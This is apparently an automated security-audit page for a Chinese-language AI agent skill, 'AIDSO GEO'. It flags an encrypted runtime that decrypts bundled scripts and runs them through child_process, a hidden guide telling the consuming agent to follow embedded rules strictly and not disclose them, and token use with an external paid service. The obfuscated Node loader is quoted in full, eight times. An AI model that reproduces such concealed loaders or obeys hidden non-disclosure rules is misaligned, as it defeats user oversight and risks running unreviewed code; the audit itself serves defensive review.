Security audit

爱搜 GEO 监测优化专家

Security checks across malware telemetry and agentic risk

Overview

The skill’s AIDSO workflow purpose is coherent, but it hides encrypted bundled rules and scripts that can run Node/Python code and call a paid external service, so it belongs in Review before installation.

Install only if you trust the publisher and are comfortable with a private encrypted runtime that executes bundled Node/Python scripts, stores AIDSO task/report files locally, and connects to AIDSO using your account token. Use a scoped AIDSO token and a constrained workspace, and rely on the skill’s explicit confirmation step before any paid monitoring submission.

SkillSpector

By NVIDIA

Vulnerability Patterns

Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands

Findings (50)

Lp3

Medium

Category: MCP Least Privilege
Confidence: 70% confidence
Finding: Without declared permissions the skill's intent is opaque and cannot be validated.

Context-Inappropriate Capability

High

Confidence: 96% confidence
Finding: The file decrypts embedded payloads, writes them to a temporary directory, and executes a selected target via Node.js or Python using child_process.spawnSync. A GEO workflow skill may reasonably orchestrate specific scripts, but this runtime is a general launcher for arbitrary hidden bundled programs, including cross-language execution, which is not justified by the manifest description alone.

Context-Inappropriate Capability

Medium

Confidence: 90% confidence
Finding: The guide() path reconstructs internal module text and prints an '[AIDSO PRIVATE RUNTIME GUIDE]' header telling the consumer to strictly follow and not disclose the embedded rules. Concealed instruction injection is not an obvious requirement for question mining, monitoring, reporting, retrieval, or content creation, and represents an additional capability beyond the stated business purpose.

Missing User Warnings

Medium

Confidence: 89% confidence
Finding: The runtime invokes external interpreters and scripts via child_process.spawnSync in P() and run(), including Node and Python targets. The file contains no user-facing prompt, print/log disclosure, or comments/docstrings warning that it will execute subprocesses on the user's system.

Missing User Warnings

Medium

Confidence: 84% confidence
Finding: Functions w() and run() create a temporary directory, write multiple files into it with writeFileSync, and later remove it with rmSync. These file system modifications are safety-relevant operations, but the code provides no visible warning, confirmation, or explanatory comment to inform the user that temporary files will be materialized and deleted.

Natural-Language Policy Violations

Medium

Confidence: 91% confidence
Finding: String literals in guide() and g() include mandatory Chinese text such as '以下为运行时内部规则。严格执行' and path placeholder rewrites using Chinese phrases like '<本 Skill 目录>'. This indicates a hard-coded language/locale choice rather than offering the user a language preference.

External Transmission

Medium

Category: Data Exfiltration
Content: - 问题挖掘、离线报告和内容创作可在无 AIDSO Token 时使用；创建付费监测任务和查询任务结果需要 `AIDSO_TOKEN`。 - OpenClaw 用户优先通过 `skills.entries.aidso-geo.apiKey` 或受信任的环境配置注入 Token。不要要求用户把真实 Token 发到聊天中，也不要将 Token 写入文件、日志、命令参数或输出。 - AIDSO AI 监测属于外部付费服务，会消耗 AIDSO 账户积分；提交前必须按内部规则展示积分明细并取得明确确认。 - AIDSO MCP 地址固定为 `https://api.aidso.com/geo_api/mcp`，请求头为 `aidso-token`；本 Skill 通过标准 Streamable HTTP MCP 客户端连接，不依赖特定宿主的 Connector 配置。 ## 关键行为边界
Confidence: 50% confidence
Finding: Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
Content: const f=require("node:fs"),p=require("node:path"),o=require("node:os"),z=require("node:zlib"),c=require("node:crypto"),s=require("node:child_process");const K=["oI4LVSRg2Lc=","EM8jqOiuEwM=","g+zOIZgzAfw=","Hk5zuiCjiC4="],R=[1,3,0,2],k=Buffer.concat(R.map(i=>Buffer.from(K[i],"base64")));const E=[{"i":"bd8f33113517a9d4","p":["j2VgXbBInfiKw0VA","0DEPxvMSnP1FWSEvyH2vNA==","BD/vfiw8bOneJCDs3/l8YKA="],"d":["HgFhJ3O359NDo2Ib","7Im/jmm/ea4wnI7vYas1LQ==","CPsHWvilpWKEKKh9JC85GkXCIPAzELuovpL8j2+UrcfaGYGtPnAT3oCXEdNBQIMHK4H9ejb5uxQoqKqTQ2I8U/ANWOiluy0w+B+O75YDGUjVFvEt0+fcxxIyE3jvgyBu246Tt+d6PnSUkrN6RQglmPJkLQWIP03jO2TczRcmkuARIT2gFCN7ADn+Kt/TjPl1PpYKNfLSrhgURerpmvTVeZqdRZrQISkQRGRADwkR0s0F5nIlOQ+8fBxY3DsjnKhq+54X/zPUdWBvMyV++usY5Hk8Lawlh2iukvQmTTLCC5fMnVWrKSXEAxuH9+uu+UsWrnIKNlo16O/Ap7P+elR+wCde/bzK/8VYboMJt/QkryNX1aa3t1nh3MdGDVmAcJKeoNcvOjSIJ0eZbOsG8+LoFPwjNH5rPP2Z5ZGDReJez9fINbdyMsUexuT5or1mHMk0YrMZTkfKX+oKqWHNCZ7Wg1TLmrAqmMqnNkvDqAe3ML/8cSuaJtjA40dS9uV0eNuX7iqWgwAElASFTbHlKsgfV+h8EF51GPpEqlJjWxKkZaAOKCINU+lPlQQtf2q2cD+EmLa43ScYbVhApaOnov7t82H8r9su5m9+wE5vEcJiPwRULRrPOlrkF/umjFy+p1lKiEaqR7+EKpHirzAlRfS3xbHZDy4r/LEgiJLh/bhxeLDYwVEnlrIuGR2gurDECza9MlHE3rcIk8CaAeXJDacDAkZg8K0DPp5XIoZqkf8R8nv36hWDZ2DWuRNUhlVCnQ3w8wy72HWBzh73SaOw4+hSj0j8k4MZWvE9HPVGOtgO/r6RIIVrBX6c3qbe+bkdeVrkWSc8YY3EFubLE3oUmje06lltB/+WC/rP03/1kxQFxNJa+W4CK+ImqrLIhgrrm5XcFVTKvaY/89AcXmFH5rjWvnjB0D4gOniRywfJF6L/HaoZ/CnCJD9mK9IzkqYcXUcp2qST0LZ6cY5B/VZVBQdnnyTV27UpiwSRtpqYLP4ojWHSbItj9OLwQW2H9mCh3ovgOm60nPgGq2z4A2dgApEM2rtRtnmPCGaHjfOc3uLLDGROCKUb1QIcwpFXZRlzidS3KwZdQaUv28hxkbV/lHdlZblNyV4cpvszlNsXC2wNNaXUqETfgjL1HzxXvRoMa5aPhp8axVCkf4KFNeOvjhySszt14O84qDBiNbnL+01Uz2++5KsnsY7QEABrpJ7cLqdVxU0qUc+9QLJcNOPbyen6i7t8XTW6G9wcPQ33otNJf+3nvqsO+a5t4YmK/Xyd8aZ5spnJUlgjy4giIewKX0bGDcC2i/b4YNFOKObk32gotnUQ37BChocGO7YPPP0nAHeMckIyguG6jEdpk64HKnR2T1YlDQ49Igb7+oVTBAmlu4jZiUtcfWCgDpZt5qhYzS0R9jXdH6stXdrU3t5qxvZk5WH6sHRVHGVyKJanoUciMd3P3vY45Aj5GlbrGVAD4s71hiDdAt/fGqmQt9jvURLX+0HHUFdFhjWyQESMINrcvRJtuxWfpyNlPR4YuzMT7R0qEIYCrd5tTmVvo ...[truncated 28 chars]
Confidence: 50% confidence
Finding: Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Obfuscated Code

High

Category: Supply Chain
